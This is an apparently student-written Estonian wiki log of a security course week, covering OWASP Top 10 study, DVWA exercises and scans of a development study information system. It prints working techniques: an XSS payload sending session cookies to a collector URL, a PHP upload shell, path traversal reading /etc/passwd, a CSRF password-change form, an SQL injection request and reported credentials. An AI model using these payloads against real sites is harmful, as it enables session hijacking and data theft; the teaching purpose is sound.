    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47077</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47077"/>
		<updated>2012-03-30T21:10:54Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* CSRF - Cross-site request forgery */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
::A1: Injection - Urmo&lt;br /&gt;
::A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
::A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
::A4: Insecure Direct Object References - Alo&lt;br /&gt;
::A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
::A6: Security Misconfiguration - Matis&lt;br /&gt;
::A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
::A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
::A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
::A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
&lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
&lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
&lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
&lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
&lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
&lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega aga edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
&lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5.sekundiks sisselogimine ära vastava teatega. &lt;br /&gt;
&lt;br /&gt;
Brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine. &lt;br /&gt;
&lt;br /&gt;
Rünnatav inimene ise paneb meie tehtud veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse sealt info koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu. &lt;br /&gt;
&lt;br /&gt;
Seejärel saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud väärtus.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
